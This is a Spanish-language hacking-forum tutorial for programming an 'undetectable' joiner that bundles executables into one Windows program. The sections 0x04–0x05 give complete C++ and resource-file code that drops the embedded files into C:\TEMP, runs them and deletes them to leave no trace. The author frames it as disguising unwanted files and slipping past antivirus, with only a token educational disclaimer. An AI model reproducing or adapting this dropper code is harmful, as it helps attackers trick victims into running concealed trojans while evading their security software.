Está en la página 1de 6

***PROGRAMACIÓN DE JOINER

INDETECTABLE***
by ColdWinteR “el niubi”

0x01. ÍNDICE
0x01 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Índice

0x02 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Introducción

0x03 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Técnica y fundamentos básicos

0x04 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Programando el joiner en C++

0x05 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .Código ejemplo

0x06 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .Despedida

0x02. INTRODUCCIÓN
Advertencia: El autor no se responsabiliza del mal uso que se le pueda dar a la
información contenida en este texto; dicha información debería de emplearse sólo
con fines educativos y de aprendizaje.
Advertencia 2: El documento presentado es de libre distribución, pero siempre
y cuando se haga mención al autor: ColdWinteR “el niubi”.

Hola! :P Bien, sé que la gran mayoría no me conocéis, pero aún así me ahorraré
presentaciones estúpidas. Simplemente soy un newbie en el underground,
googleador como la mayoría, miembro de http://foro.elhacker.net como muchos y
programador como tantos otros xD Este es mi primer manual, realizado gracias a
una idea feliz que tuve esta mañana referente a los joiners. Quería escribir uno, pero
no sabía de qué, ya que podría haber hecho uno de nivel más avanzado sobre otra
cosa, pero la pereza pudo conmigo. No quería escribir nada demasiado extenso.
Bueno, últimamente he estado trapicheando con los joiners/binders. Para los que
no sepan lo que son ni lo que hacen, buscad y encontraréis por todas partes ;) Los
únicos que son y serán siempre indetectables (aunque nunca se sabe xD) que
conocía hasta hoy eran aplicaciones que probablemente tengáis instalados en
vuestros HDs: WinRaR e iexpress. No, no alarmaros xD Simplemente, se les puede
dar otro uso “especial” a estas aplicaciones: usarlas como joiners. Para ello,
recomiendo la lectura de un paper de Man-In-The-Middle que se encuentra en
http://foro.elhacker.net, sección “Troyanos y virus”, con una chincheta, que explica
perfectamente cómo usar el iexpress de Microsoft para este propósito.
No obstante, hay varios inconvenientes al usar este método, aunque pueden
resumirse en uno: los compresores que se tengan instalados. El primer inconveniente
de utilizar estas mencionadas técnicas, es que si tenéis instalado el WinRaR por
ejemplo (¿quién no lo tiene?), al hacer clic derecho en vuestro .exe resultado de la
unión, veréis varias opciones que cantan un poco-bastante. Todas ellas se basan en
que podréis extraer los archivos que hay dentro y así verlos por separado. El
segundo inconveniente es que, en el caso del WinRaR, en el menú “Propiedades”
del .exe resultado, aparece una pestaña muy misteriosa llamada “Archive”, en la
cual podéis comprobar los resultados de la compresión de los archivos que unisteis,
entre otras cosas.
Cierto es que podéis utilizar un editor hexadecimal y poner a 00 algunos offsets
del MSCF header, pero raramente tras hacer esto os funcione perfectamente al
buscar los archivos unidos si no se encuentran en el mismo directorio, además de
que desconozco a ciencia cierta si funcionará con otros compresores (para más
información sobre el MSCF, google :P).
Sin embargo, se me ocurrió una técnica para programar un joiner que es Y
SERÁ indetectable siempre ante todos los antivirus, y lo mejor es que es realmente
sencillo. Creo que cualquiera que tenga nociones básicas de programación en C/C++
y la API de Windows, entenderá a la perfección este manual.
Utilicé el Dev-C++ para desarrollarlo, y será lo único que necesitaremos aquí,
aunque se puede hacer con cualquier otro compilador de C/C++. Así pues, vamos
allá ^^

0x03. TÉCNICA Y FUNDAMENTOS BÁSICOS


El concepto más importante a tener en cuenta aquí quizás, es que la idea no es
programar un joiner; es programar una aplicación que contenga los archivos que
queremos unir, los cree en un directorio temporal, los ejecute, y los borre tras ser
terminados. Podría decirse que lo que utilizaremos aquí como joiner será el
compilador, aunque no sea exactamente así, pero es para que lo entendáis.
La idea es conseguir codearnos una aplicación para realizar este propósito, de
manera que cada vez que queramos unir dos archivos, tengamos que cambiar sólo
un par de strings en nuestro código, y al compilarlo nuevamente ya tengamos todo
en un .exe.
Lo primero que imagino que se os vendrá a la cabeza es cómo podemos meter
nuestros archivos en el código para que al ser compilado contenga dentro de él los
archivos. Imagino que todos los programadores lo sabréis ya: la respuesta es usar
resources.
Los resources no son más que archivos aparte que se encuentran contenidos
dentro un archivo. Los usan la gran mayoría de los programas “importantes”, y es
por tanto la razón por la que jamás será detectado por un antivirus (aunque como
dije antes nunca se sabe xD).
Para utilizar resources en Dev-C++, os tenéis que crear un nuevo proyecto
Windows GUI, y marcar la casilla “Soporte para los temas visuales de Windows” en
las opciones (aunque también podéis optar por crear un archivo .rc nuevo en el
directorio del proyecto). En el proyecto, tendréis que incluir también dicho archivo.

0x04. PROGRAMANDO EL JOINER EN C++


Como dije antes, utilicé Dev-C++ para desarrollar la técnica, aunque pueden
utilizarse incluso otros lenguajes de programación.
Lo primero que haremos, y lo que es más sencillo también, es programar nuestro
archivo de recursos (el .rc). Lo abrimos, y en él lo único que tendremos que escribir
será algo como esto:

1 TABLA “archivo1.exe”
2 TABLA “archivo2.exe”
3 TABLA “archivo3.SuX”

...y tantas filas como archivos haya. Lo primero que aparece en cada fila es el
índice que tendrá en nuestra tabla de recursos “TABLA” nuestro archivo
“archivoX”. Dentro de una tabla de recursos, no puede haber dos o más archivos que
tengan el mismo índice en ella. Por lo demás, podéis hacer lo que queráis; como por
ejemplo utilizar en un archivo el índice 69 y en otro el índice abc, o crear una tabla
de recursos por archivo. Se crean automáticamente, no hay que hacer más que lo que
he dicho en nuestro archivo .rc.
Ahora comenzaremos a programar nuestro código en cuestión (archivo .cpp). Lo
primero, y por donde empieza todo source, serán los incluyes. Sólo necesitaremos
dos, y sí, serán los típicos y conocidos:

#include <stdio.h>
#include <windows.h>

Para lo que se mostrará aquí, con estos basta; si se quiere conseguir algo más
avanzado en el joiner, puede que necesitéis alguno más. En cuanto a funciones, lo
mismo: sólo necesitaréis el main para lo que se mostrará aquí.
Bien, ahora es cuando viene lo interesante. Tenemos que averiguar cómo
sacamos los datos de los resources de nuestro archivo final, y como ya sabréis, para
ello, lo primero es hacernos con el handle del resource que queremos.
¿Y cómo hacemos esto? Pues muy fácil: con una API llamada FindResource. La
definición de la misma, que la podemos encontrar en la web del MSDN Library, es
la siguiente:

HRSRC FindResource(HMODULE hModule, LPCTSTR lpName,


LPCTSTR lpType);

El hModule no es más que el handle del módulo cuyo ejecutable contiene el


recurso que especifiquemos con lpName, que es el índice que tiene el recurso en
cuestión (es un string, por tanto tiene que ir entre comillas, y además debe ir
precedido del carácter “#”) en la tabla lpType (otro string; comillas…). Dicha
función retorna el handle del recurso, que era lo que buscábamos.
Al asignar NULL en hModule, el que se utilizará será el del propio ejecutable
que llamó a FindResource, lo cual es nuestro propósito. Ahora que tenemos el
handle, podemos cargar el recurso y así obtener un handle de los datos con
LoadResource. Esta es su definición:

HGLOBAL LoadResource(HMODULE hModule, HRSRC hResInfo);

El hModule en este caso es exactamente lo mismo que antes, así que lo


pondremos a NULL. hResInfo es el handle del recurso, el cual es el que obtuvimos
antes con FindResource.
Lo siguiente será averiguar el tamaño del buffer que necesitaremos para escribir
el archivo, y el tamaño del recurso en bytes (generalmente suele ser el mismo). Para
lo primero utilizaremos SetHandleCount:

UINT SetHandleCount(UINT hData);

Poco que explicar aquí... hData es el handle de los datos, el que obtuvimos con
LoadResource. Tendréis que hacerle un cast a UINT.
Para lo segundo, usaremos SizeofResource:

DWORD SizeofResource(hModule, hResInfo);

hModule es lo de siempre, así que NULL xD hResInfo es el handle del recurso.


Al fin estamos en condiciones de crear el archivo! Para ello, llamaremos a
CreateFile, y el handle retornado por él lo usaremos como primer argumento de
WriteFile; como hacemos siempre para crear archivos. No creo que tenga que
explicar ni mostrar la definición de estas dos funciones, ya que son muy conocidas y
cualquier programador con nivel escasito sabe manejarlas. Sí, ya sé lo que estáis
pensando, que son funciones muy largas y que por eso no las explico. Estáis en lo
cierto xD Como dije, no quería escribir un manual demasiado extenso, y todo no se
puede recoger en este documento, como se suele decir. Aquí se explica el método,
no la API de Windows, ni C++; así que si tenéis alguna duda al respecto googlead y
encontraréis :P
Después de este pequeño paréntesis, continuamos cerrando el archivo de forma
segura. Para ello, llamaremos a CloseHandle, pasándole como argumento el handle
del archivo creado.
Ale, ya está creado :D Para ejecutarlo, tan solo tendremos que llamar a la API
correspondiente que la ejecute, como por ejemplo CreateProcess. Posteriormente,
utilizaremos WaitForSingleObject(handleprocesocreado, INFINITE) e
inmediatamente después DeleteFile, para que cuando se cierre el archivo que está
siendo ejecutado o abierto, se elimine y no deje pista alguna de nuestras intenciones.
Por último, llamaremos a ExitProcess para cerrar nuestro proceso de forma segura.
En resumen, la clave de la técnica está en este código:

HRSRC recurso = FindResource(NULL, "#indice", "TABLA”);


HGLOBAL handle = LoadResource(NULL, recurso);
UINT buffer = SetHandleCount((UINT)handle);
DWORD bytes = SizeofResource(NULL, recurso);
HANDLE archivo = CreateFile(rutadelarchivo, GENERIC_READ|
GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(archivo, (LPCVOID)buffer, bytes, &bytes, NULL);
CloseHandle(archivo);

Ya si queréis ejecutar ese archivo o no, tan solo tenéis que utilizar debidamente
CreateProcess, y WaitForSingleObject si queréis borrarlos posteriormente con
DeleteFile. Finalmente, llamamos a ExitProcess.

0x05. CÓDIGO EJEMPLO


Código de ejemplo.cpp:

#include <stdio.h>
#include <windows.h>

int main()
{
char *ruta = "C:\\TEMP"; //ruta del directorio temporal
char *ruta2 = "C:\\TEMP\\archivo1.exe"; //ruta del primer archivo
char *ruta3 = "C:\\TEMP\\archivo2.exe"; //ruta del segundo archivo
STARTUPINFO si;
PROCESS_INFORMATION pi;
HRSRC recurso;
HGLOBAL handle;
HANDLE archivo;
UINT buffer;
DWORD bytes;
CreateDirectory(ruta, NULL); //creamos el directorio si no existe
recurso = FindResource(NULL, "#1", "COSA"); //buscamos el resource
handle = LoadResource(NULL, recurso); //lo cargamos...
buffer = SetHandleCount((UINT)handle); //buffer que utilizaremos en
bytes = SizeofResource(NULL, recurso); //WriteFile, junto con bytes
archivo = CreateFile(ruta2, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL); //creamos el primer archivo
WriteFile(archivo, (LPCVOID)buffer, bytes, &bytes, NULL);
CloseHandle(archivo); //cerramos el archivo
recurso = FindResource(NULL, "#2", "COSA"); //vuelta a empezar
handle = LoadResource(NULL, recurso);
buffer = SetHandleCount((UINT)handle);
bytes = SizeofResource(NULL, recurso);
archivo = CreateFile(ruta3, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(archivo, (LPCVOID)buffer, bytes, &bytes, NULL);
CloseHandle(archivo);
si.cb = sizeof(si); //atributos del proceso
si.dwFlags = STARTF_USESTDHANDLES;
si.lpReserved = NULL;
si.cbReserved2 = 0;
si.lpReserved2 = NULL;
CreateProcess(NULL,ruta2,NULL,NULL,true,0,NULL,NULL,&si,&pi);//ejecuta
WaitForSingleObject(pi.hProcess, INFINITE); //espera que se cierre o termine
DeleteFile(ruta2); //borra archivo
CreateProcess(NULL,ruta3,NULL,NULL,true,0,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess, INFINITE);
DeleteFile(ruta3);
RemoveDirectory(ruta); //borra la carpeta temporal si no hay más archivos
ExitProcess(0);
return 1;
}

Código de ejemplo_private.rc:

1 COSA "archivo1.exe" //los dos archivos están en el mismo directorio que el


2 COSA "archivo2.exe" //proyecto en este caso

0x06. DESPEDIDA
Ea, pues esto es todo. Cómo podéis comprobar, con esta técnica el camuflaje de
archivos no deseables es realmente sencillo, y los antivirus no dirán “It’s official,
You SuCK!” ni nada de nada. En el ejemplo usé ejecutables, pero modificando un
poco el código se puede hacer para cualquier tipo de archivos; eso ya os lo dejo a
vosotros  También es muy útil la utilización de resources en las inyecciones dll
que tanto le gustan a los firewalls; quizás algún día haga algún manual sobre ellas,
quien sabe xD Espero que haya aportado algo haciendo este manual. Si encontráis
algún error o tenéis alguna duda concreta al respecto, enviadme un pm en el foro de
elhacker.net. Saludos ^^
Agradecimientos:
- A todo aquel/la que se interesa por la informática y trata de mejorarla, ya sea con
medidas de seguridad, contraseguridad, desarrollador de software, programador
de videojuegos…
Desagradecimientos:
- A tod@s los que se dedican a destruir la informática y/o provocar un retraso, ya
sea por querer dárselas de hacker destruyendo lo ajeno, por encarecer la
conexión a internet, por poner impuestos estúpidos en la compra de cualquier
cd/dvd virgen, etc.
- A todo organismo, entidad, institución o individuo que cobre algo por enseñar, y
en lugar de mostrar lo que sabe intente cegar al populacho imponiéndole
aprender de forma caótica conocimientos inútiles para hacerle perder el tiempo.

Volveremos a encontrarnos…
ColdWinteR el “niubi”